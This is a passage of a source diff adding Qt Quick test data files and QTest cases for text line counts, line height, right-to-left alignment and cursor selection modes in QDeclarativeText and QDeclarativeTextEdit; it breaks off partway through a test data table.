+        color: "green"
+
+        Text {
+            id: text
+            objectName: "text"
+            anchors.fill: parent
+            text: top.text
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/lineCount.qml b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
new file mode 100644
index 0000000..63817f6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.1
+
+Item {
+    width: 200
+    height: 200
+
+    Text {
+        id: myText
+        objectName: "myText"
+        width: 200
+        wrapMode: Text.WordWrap
+        maximumLineCount: undefined
+        text: "Testing that maximumLines, visibleLines, and totalLines works properly in the autotests. The quick brown fox jumped over the lazy anything with the letter 'g'."
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
new file mode 100644
index 0000000..851d871
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.1
+
+Item {
+    width: 200
+    height: 200
+
+    Text {
+        id: myText
+        objectName: "myText"
+        width: 200
+        wrapMode: Text.WordWrap
+        font.pixelSize: 13
+        text: "Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum."
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
index 480dba5..a3bba3b 100644
--- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
+++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
@@ -43,12 +43,14 @@
 #include <QtDeclarative/qdeclarativeengine.h>
 #include <QtDeclarative/qdeclarativecomponent.h>
 #include <private/qdeclarativetext_p.h>
+#include <private/qdeclarativetext_p_p.h>
 #include <private/qdeclarativevaluetype_p.h>
 #include <QFontMetrics>
 #include <QGraphicsSceneMouseEvent>
 #include <qmath.h>
 #include <QDeclarativeView>
 #include <private/qapplication_p.h>
+#include <limits.h>
 
 #include "../../../shared/util.h"
 #include "testhttpserver.h"
@@ -78,8 +80,12 @@ private slots:
     void embeddedImages_data();
     void embeddedImages();
 
+    void lineCount();
+    void lineHeight();
+
     // ### these tests may be trivial    
     void horizontalAlignment();
+    void horizontalAlignment_RightToLeft();
     void verticalAlignment();
     void font();
     void style();
@@ -98,6 +104,10 @@ private slots:
     void clickLink();
 
     void QTBUG_12291();
+    void implicitSize_data();
+    void implicitSize();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
 
 private:
     QStringList standard;
@@ -460,6 +470,8 @@ void tst_qdeclarativetext::alignments()
         QCOMPARE(actual,expect);
     }
 #endif
+
+    delete canvas;
 }
 
 //the alignment tests may be trivial o.oa
@@ -495,6 +507,32 @@ void tst_qdeclarativetext::horizontalAlignment()
 
 }
 
+void tst_qdeclarativetext::horizontalAlignment_RightToLeft()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
+    QDeclarativeText *text = canvas->rootObject()->findChild<QDeclarativeText*>("text");
+    QVERIFY(text != 0);
+    canvas->show();
+
+    QDeclarativeTextPrivate *textPrivate = QDeclarativeTextPrivate::get(text);
+    QVERIFY(textPrivate != 0);
+
+    QVERIFY(textPrivate->layout.lineAt(0).x() > canvas->width()/2);
+
+    // "Right" aligned
+    text->setHAlign(QDeclarativeText::AlignRight);
+    QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+    QVERIFY(textPrivate->layout.lineAt(0).x() < canvas->width()/2);
+
+    // Center aligned
+    text->setHAlign(QDeclarativeText::AlignHCenter);
+    QCOMPARE(text->hAlign(), QDeclarativeText::AlignHCenter);
+    QVERIFY(textPrivate->layout.lineAt(0).x() < canvas->width()/2);
+    QVERIFY(textPrivate->layout.lineAt(0).x() + textPrivate->layout.lineAt(0).width() > canvas->width()/2);
+
+    delete canvas;
+}
+
 void tst_qdeclarativetext::verticalAlignment()
 {
     //test one align each, and then test if two align fails.
@@ -926,6 +964,8 @@ void tst_qdeclarativetext::QTBUG_12291()
     QDeclarativeText *text = ob->findChild<QDeclarativeText*>("text");
     QVERIFY(text);
     QVERIFY(text->boundingRect().isValid());
+
+    delete canvas;
 }
 
 class EventSender : public QGraphicsItem
@@ -1018,6 +1058,150 @@ void tst_qdeclarativetext::embeddedImages()
         QCOMPARE(textObject->width(), 16.0); // default size of QTextDocument broken image icon
         QCOMPARE(textObject->height(), 16.0);
     }
+
+    delete textObject;
+}
+
+void tst_qdeclarativetext::lineCount()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/lineCount.qml");
+
+    QDeclarativeText *myText = canvas->rootObject()->findChild<QDeclarativeText*>("myText");
+    QVERIFY(myText != 0);
+
+    QVERIFY(myText->lineCount() > 1);
+    QVERIFY(!myText->truncated());
+    QCOMPARE(myText->maximumLineCount(), INT_MAX);
+
+    myText->setMaximumLineCount(2);
+    QCOMPARE(myText->lineCount(), 2);
+    QCOMPARE(myText->truncated(), true);
+    QCOMPARE(myText->maximumLineCount(), 2);
+
+    myText->resetMaximumLineCount();
+    QCOMPARE(myText->maximumLineCount(), INT_MAX);
+    QCOMPARE(myText->truncated(), false);
+
+    myText->setElideMode(QDeclarativeText::ElideRight);
+    myText->setMaximumLineCount(2);
+    QCOMPARE(myText->lineCount(), 2);
+    QCOMPARE(myText->truncated(), true);
+    QCOMPARE(myText->maximumLineCount(), 2);
+
+    delete canvas;
+}
+
+void tst_qdeclarativetext::lineHeight()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/lineHeight.qml");
+
+    QDeclarativeText *myText = canvas->rootObject()->findChild<QDeclarativeText*>("myText");
+    QVERIFY(myText != 0);
+
+    QVERIFY(myText->lineHeight() == 1);
+    QVERIFY(myText->lineHeightMode() == QDeclarativeText::ProportionalHeight);
+
+    qreal h = myText->height();
+    myText->setLineHeight(1.5);
+    QVERIFY(myText->height() == h * 1.5);
+
+    myText->setLineHeightMode(QDeclarativeText::FixedHeight);
+    myText->setLineHeight(20);
+    QCOMPARE(myText->height(), myText->lineCount() * 20.0);
+
+    myText->setText("Lorem ipsum sit <b>amet</b>, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum.");
+    myText->setLineHeightMode(QDeclarativeText::ProportionalHeight);
+    myText->setLineHeight(1.0);
+
+    qreal h2 = myText->height();
+    myText->setLineHeight(2.0);
+    QEXPECT_FAIL("", "QTBUG-17325", Continue);
+    QVERIFY(myText->height() == h2 * 2.0);
+
+    myText->setLineHeightMode(QDeclarativeText::FixedHeight);
+    myText->setLineHeight(10);
+    QEXPECT_FAIL("", "QTBUG-17325", Continue);
+    QCOMPARE(myText->height(), myText->lineCount() * 10.0);
+
+    delete canvas;
+}
+
+void tst_qdeclarativetext::implicitSize_data()
+{
+    QTest::addColumn<QString>("text");
+    QTest::addColumn<QString>("wrap");
+    QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "Text.NoWrap";
+    QTest::newRow("richtext") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "Text.NoWrap";
+    QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "Text.Wrap";
+    QTest::newRow("richtext_wrap") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "Text.Wrap";
+}
+
+void tst_qdeclarativetext::implicitSize()
+{
+    QFETCH(QString, text);
+    QFETCH(QString, wrap);
+    QString componentStr = "import QtQuick 1.1\nText { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
+    QDeclarativeComponent textComponent(&engine);
+    textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+    QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+    QVERIFY(textObject->width() < textObject->implicitWidth());
+    QVERIFY(textObject->height() == textObject->implicitHeight());
+
+    textObject->resetWidth();
+    QVERIFY(textObject->width() == textObject->implicitWidth());
+    QVERIFY(textObject->height() == textObject->implicitHeight());
+}
+
+void tst_qdeclarativetext::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_qdeclarativetext::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("maximumLineCount") << "maximumLineCount: 4"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Text.maximumLineCount\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("lineHeight") << "lineHeight: 2"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Text.lineHeight\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("lineHeightMode") << "lineHeightMode: Text.ProportionalHeight"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"Text.lineHeightMode\" is not available in QtQuick 1.0.\n";
+
+    QTest::newRow("lineCount") << "property int foo: lineCount"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: lineCount"
+        << "";
+
+    QTest::newRow("truncated") << "property bool foo: truncated"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: truncated"
+        << "";
 }
 
 QTEST_MAIN(tst_qdeclarativetext)
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
new file mode 100644
index 0000000..43ea8d8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+    id: top
+    width: 200; height: 70;
+
+    property alias horizontalAlignment: text.horizontalAlignment
+    property string text: "اختبا"
+
+    Rectangle {
+        anchors.centerIn: parent
+        width: 200
+        height: 20
+        color: "green"
+
+        TextEdit {
+            id: text
+            objectName: "text"
+            anchors.fill: parent
+            text: top.text
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
new file mode 100644
index 0000000..5784e19
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextEdit {
+    focus: true
+    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+    selectByMouse: true
+    mouseSelectionMode: TextEdit.SelectCharacters
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
new file mode 100644
index 0000000..1e5f4aa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.1
+
+TextEdit {
+    focus: true
+    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+    selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
new file mode 100644
index 0000000..4b25f2f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextEdit {
+    focus: true
+    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+    selectByMouse: true
+    mouseSelectionMode: TextEdit.SelectWords
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
index ba1a95f..2c3ec7c 100644
--- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
+++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
@@ -66,6 +66,8 @@
 #define SRCDIR "."
 #endif
 
+Q_DECLARE_METATYPE(QDeclarativeTextEdit::SelectionMode)
+
 QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual)
 {
     // XXX This will be replaced by some clever persistent platform image store.
@@ -100,6 +102,7 @@ private slots:
 
     // ### these tests may be trivial    
     void hAlign();
+    void hAlign_RightToLeft();
     void vAlign();
     void font();
     void color();
@@ -107,11 +110,19 @@ private slots:
     void persistentSelection();
     void focusOnPress();
     void selection();
+    void moveCursorSelection_data();
+    void moveCursorSelection();
+    void moveCursorSelectionSequence_data();
+    void moveCursorSelectionSequence();
     void mouseSelection_data();
     void mouseSelection();
+    void mouseSelectionMode_data();
+    void mouseSelectionMode();
+    void dragMouseSelection();
     void inputMethodHints();
 
     void cursorDelegate();
+    void cursorVisible();
     void delegateLoading_data();
     void delegateLoading();
     void navigation();
@@ -122,6 +133,13 @@ private slots:
     void openInputPanelOnFocus();
     void geometrySignals();
     void pastingRichText_QTBUG_14003();
+    void implicitSize_data();
+    void implicitSize();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
+
+    void preeditMicroFocus();
+    void inputContextMouseHandler();
 
 private:
     void simulateKey(QDeclarativeView *, int key);
@@ -144,7 +162,9 @@ private:
 tst_qdeclarativetextedit::tst_qdeclarativetextedit()
 {
     standard << "the quick brown fox jumped over the lazy dog"
-             << "the quick brown fox\n jumped over the lazy dog";
+             << "the quick brown fox\n jumped over the lazy dog"
+             << "Hello, world!"
+             << "!dlrow ,olleH";
 
     richText << "<i>the <b>quick</b> brown <a href=\\\"http://www.google.com\\\">fox</a> jumped over the <b>lazy</b> dog</i>"
              << "<i>the <b>quick</b> brown <a href=\\\"http://www.google.com\\\">fox</a><br>jumped over the <b>lazy</b> dog</i>";
@@ -413,6 +433,30 @@ void tst_qdeclarativetextedit::hAlign()
 
 }
 
+void tst_qdeclarativetextedit::hAlign_RightToLeft()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
+    QDeclarativeTextEdit *textEdit = canvas->rootObject()->findChild<QDeclarativeTextEdit*>("text");
+    QVERIFY(textEdit != 0);
+    canvas->show();
+
+    QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+    // "Right" align
+    textEdit->setHAlign(QDeclarativeTextEdit::AlignRight);
+    QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+    QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2);
+
+    // Center align
+    // Note that position 0 is on the right-hand side
+    textEdit->setHAlign(QDeclarativeTextEdit::AlignHCenter);
+    QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignHCenter);
+    QVERIFY(textEdit->positionToRectangle(0).x() - textEdit->width() < canvas->width()/2);
+    QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+    delete canvas;
+}
+
 void tst_qdeclarativetextedit::vAlign()
 {
     //test one align each, and then test if two align fails.
@@ -704,8 +748,351 @@ void tst_qdeclarativetextedit::selection()
     QVERIFY(textEditObject->selectedText().size() == 10);
     textEditObject->select(0,100);
     QVERIFY(textEditObject->selectedText().size() == 10);
+
+    textEditObject->deselect();
+    QVERIFY(textEditObject->selectedText().isNull());
+    textEditObject->select(0,10);
+    QVERIFY(textEditObject->selectedText().size() == 10);
+    textEditObject->deselect();
+    QVERIFY(textEditObject->selectedText().isNull());
+}
+
+void tst_qdeclarativetextedit::moveCursorSelection_data()
+{
+    QTest::addColumn<QString>("testStr");
+    QTest::addColumn<int>("cursorPosition");
+    QTest::addColumn<int>("movePosition");
+    QTest::addColumn<QDeclarativeTextEdit::SelectionMode>("mode");
+    QTest::addColumn<int>("selectionStart");
+    QTest::addColumn<int>("selectionEnd");
+    QTest::addColumn<bool>("reversible");
+
+    QTest::newRow("(t)he|characters")
+            << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectCharacters << 0 << 1 << true;
+    QTest::newRow("do(g)|characters")
+            << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectCharacters << 43 << 44 << true;
+    QTest::newRow("jum(p)ed|characters")
+            << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectCharacters << 23 << 24 << true;
+    QTest::newRow("jumped( )over|characters")
+            << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectCharacters << 26 << 27 << true;
+    QTest::newRow("(the )|characters")
+            << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectCharacters << 0 << 4 << true;
+    QTest::newRow("( dog)|characters")
+            << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectCharacters << 40 << 44 << true;
+    QTest::newRow("( jumped )|characters")
+            << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectCharacters << 19 << 27 << true;
+    QTest::newRow("th(e qu)ick|characters")
+            << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectCharacters << 2 << 6 << true;
+    QTest::newRow("la(zy d)og|characters")
+            << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectCharacters << 38 << 42 << true;
+    QTest::newRow("jum(ped ov)er|characters")
+            << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectCharacters << 23 << 29 << true;
+    QTest::newRow("()the|characters")
+            << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectCharacters << 0 << 0 << true;
+    QTest::newRow("dog()|characters")
+            << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectCharacters << 44 << 44 << true;
+    QTest::newRow("jum()ped|characters")
+            << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectCharacters << 23 << 23 << true;
+
+    QTest::newRow("<(t)he>|words")
+            << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true;
+    QTest::newRow("<do(g)>|words")
+            << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true;
+    QTest::newRow("<jum(p)ed>|words")
+            << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true;
+    QTest::newRow("<jumped( )>over|words")
+            << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectWords << 20 << 27 << false;
+    QTest::newRow("jumped<( )over>|words,reversed")
+            << standard[0] << 27 << 26 << QDeclarativeTextEdit::SelectWords << 26 << 31 << false;
+    QTest::newRow("<(the )>quick|words")
+            << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectWords << 0 << 4 << false;
+    QTest::newRow("<(the )quick>|words,reversed")
+            << standard[0] << 4 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 9 << false;
+    QTest::newRow("<lazy( dog)>|words")
+            << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectWords << 36 << 44 << false;
+    QTest::newRow("lazy<( dog)>|words,reversed")
+            << standard[0] << 44 << 40 << QDeclarativeTextEdit::SelectWords << 40 << 44 << false;
+    QTest::newRow("<fox( jumped )>over|words")
+            << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectWords << 16 << 27 << false;
+    QTest::newRow("fox<( jumped )over>|words,reversed")
+            << standard[0] << 27 << 19 << QDeclarativeTextEdit::SelectWords << 19 << 31 << false;
+    QTest::newRow("<th(e qu)ick>|words")
+            << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectWords << 0 << 9 << true;
+    QTest::newRow("<la(zy d)og|words>")
+            << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectWords << 36 << 44 << true;
+    QTest::newRow("<jum(ped ov)er>|words")
+            << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectWords << 20 << 31 << true;
+    QTest::newRow("<()>the|words")
+            << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
+    QTest::newRow("dog<()>|words")
+            << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectWords << 44 << 44 << true;
+    QTest::newRow("jum<()>ped|words")
+            << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectWords << 23 << 23 << true;
+
+    QTest::newRow("Hello<(,)> |words")
+            << standard[2] << 5 << 6 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true;
+    QTest::newRow("Hello<(, )>world|words")
+            << standard[2] << 5 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
+    QTest::newRow("Hello<(, )world>|words,reversed")
+            << standard[2] << 7 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
+    QTest::newRow("<Hel(lo, )>world|words")
+            << standard[2] << 3 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
+    QTest::newRow("<Hel(lo, )world>|words,reversed")
+            << standard[2] << 7 << 3 << QDeclarativeTextEdit::SelectWords << 0 << 12 << false;
+    QTest::newRow("<Hel(lo)>,|words")
+            << standard[2] << 3 << 5 << QDeclarativeTextEdit::SelectWords << 0 << 5 << true;
+    QTest::newRow("Hello<()>,|words")
+            << standard[2] << 5 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 5 << true;
+    QTest::newRow("Hello,<()>|words")
+            << standard[2] << 6 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << true;
+    QTest::newRow("Hello<,( )>world|words")
+            << standard[2] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
+    QTest::newRow("Hello,<( )world>|words,reversed")
+            << standard[2] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
+    QTest::newRow("Hello<,( world)>|words")
+            << standard[2] << 6 << 12 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
+    QTest::newRow("Hello,<( world)>|words,reversed")
+            << standard[2] << 12 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
+    QTest::newRow("Hello<,( world!)>|words")
+            << standard[2] << 6 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << false;
+    QTest::newRow("Hello,<( world!)>|words,reversed")
+            << standard[2] << 13 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
+    QTest::newRow("Hello<(, world!)>|words")
+            << standard[2] << 5 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << true;
+    QTest::newRow("world<(!)>|words")
+            << standard[2] << 12 << 13 << QDeclarativeTextEdit::SelectWords << 12 << 13 << true;
+    QTest::newRow("world!<()>)|words")
+            << standard[2] << 13 << 13 << QDeclarativeTextEdit::SelectWords << 13 << 13 << true;
+    QTest::newRow("world<()>!)|words")
+            << standard[2] << 12 << 12 << QDeclarativeTextEdit::SelectWords << 12 << 12 << true;
+
+    QTest::newRow("<(,)>olleH |words")
+            << standard[3] << 7 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true;
+    QTest::newRow("<dlrow( ,)>olleH|words")
+            << standard[3] << 6 << 8 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
+    QTest::newRow("dlrow<( ,)>olleH|words,reversed")
+            << standard[3] << 8 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
+    QTest::newRow("<dlrow( ,ol)leH>|words")
+            << standard[3] << 6 << 10 << QDeclarativeTextEdit::SelectWords << 1 << 13 << false;
+    QTest::newRow("dlrow<( ,ol)leH>|words,reversed")
+            << standard[3] << 10 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
+    QTest::newRow(",<(ol)leH>,|words")
+            << standard[3] << 8 << 10 << QDeclarativeTextEdit::SelectWords << 8 << 13 << true;
+    QTest::newRow(",<()>olleH|words")
+            << standard[3] << 8 << 8 << QDeclarativeTextEdit::SelectWords << 8 << 8 << true;
+    QTest::newRow("<()>,olleH|words")
+            << standard[3] << 7 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << true;
+    QTest::newRow("<dlrow( )>,olleH|words")
+            << standard[3] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
+    QTest::newRow("dlrow<( ),>olleH|words,reversed")
+            << standard[3] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
+    QTest::newRow("<(dlrow )>,olleH|words")
+            << standard[3] << 1 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
+    QTest::newRow("<(dlrow ),>olleH|words,reversed")
+            << standard[3] << 7 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
+    QTest::newRow("<(!dlrow )>,olleH|words")
+            << standard[3] << 0 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
+    QTest::newRow("<(!dlrow ),>olleH|words,reversed")
+            << standard[3] << 7 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 8 << false;
+    QTest::newRow("(!dlrow ,)olleH|words")
+            << standard[3] << 0 << 8 << QDeclarativeTextEdit::SelectWords << 0 << 8 << true;
+    QTest::newRow("<(!)>dlrow|words")
+            << standard[3] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 1 << true;
+    QTest::newRow("<()>!dlrow|words")
+            << standard[3] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
+    QTest::newRow("!<()>dlrow|words")
+            << standard[3] << 1 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 1 << true;
+}
+
+void tst_qdeclarativetextedit::moveCursorSelection()
+{
+    QFETCH(QString, testStr);
+    QFETCH(int, cursorPosition);
+    QFETCH(int, movePosition);
+    QFETCH(QDeclarativeTextEdit::SelectionMode, mode);
+    QFETCH(int, selectionStart);
+    QFETCH(int, selectionEnd);
+    QFETCH(bool, reversible);
+
+    QString componentStr = "import QtQuick 1.1\nTextEdit {  text: \""+ testStr +"\"; }";
+    QDeclarativeComponent textinputComponent(&engine);
+    textinputComponent.setData(componentStr.toLatin1(), QUrl());
+    QDeclarativeTextEdit *texteditObject = qobject_cast<QDeclarativeTextEdit*>(textinputComponent.create());
+    QVERIFY(texteditObject != 0);
+
+    texteditObject->setCursorPosition(cursorPosition);
+    texteditObject->moveCursorSelection(movePosition, mode);
+
+    QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+    QCOMPARE(texteditObject->selectionStart(), selectionStart);
+    QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
+
+    if (reversible) {
+        texteditObject->setCursorPosition(movePosition);
+        texteditObject->moveCursorSelection(cursorPosition, mode);
+
+        QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+        QCOMPARE(texteditObject->selectionStart(), selectionStart);
+        QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
+    }
+}
+
+void tst_qdeclarativetextedit::moveCursorSelectionSequence_data()
+{
+    QTest::addColumn<QString>("testStr");
+    QTest::addColumn<int>("cursorPosition");
+    QTest::addColumn<int>("movePosition1");
+    QTest::addColumn<int>("movePosition2");
+    QTest::addColumn<int>("selection1Start");
+    QTest::addColumn<int>("selection1End");
+    QTest::addColumn<int>("selection2Start");
+    QTest::addColumn<int>("selection2End");
+
+    QTest::newRow("the {<quick( bro)wn> f^ox} jumped|ltr")
+            << standard[0]
+            << 9 << 13 << 17
+            << 4 << 15
+            << 4 << 19;
+    QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
+            << standard[0]
+            << 13 << 9 << 17
+            << 9 << 15
+            << 10 << 19;
+    QTest::newRow("the {<quick( bro)wn> ^}fox jumped|ltr")
+            << standard[0]
+            << 9 << 13 << 16
+            << 4 << 15
+            << 4 << 16;
+    QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
+            << standard[0]
+            << 13 << 9 << 16
+            << 9 << 15
+            << 10 << 16;
+    QTest::newRow("the {<quick( bro)wn^>} fox jumped|ltr")
+            << standard[0]
+            << 9 << 13 << 15
+            << 4 << 15
+            << 4 << 15;
+    QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
+            << standard[0]
+            << 13 << 9 << 15
+            << 9 << 15
+            << 10 << 15;
+    QTest::newRow("the {<quick() ^}bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 10
+            << 4 << 15
+            << 4 << 10;
+    QTest::newRow("the quick<(^ {^bro)wn>} fox|rtl")
+            << standard[0]
+            << 13 << 9 << 10
+            << 9 << 15
+            << 10 << 15;
+    QTest::newRow("the {<quick^}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 9
+            << 4 << 15
+            << 4 << 9;
+    QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
+            << standard[0]
+            << 13 << 9 << 9
+            << 9 << 15
+            << 9 << 15;
+    QTest::newRow("the {<qui^ck}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 7
+            << 4 << 15
+            << 4 << 9;
+    QTest::newRow("the {<qui^ck}( bro)wn> fox|rtl")
+            << standard[0]
+            << 13 << 9 << 7
+            << 9 << 15
+            << 4 << 15;
+    QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 4
+            << 4 << 15
+            << 4 << 9;
+    QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
+            << standard[0]
+            << 13 << 9 << 4
+            << 9 << 15
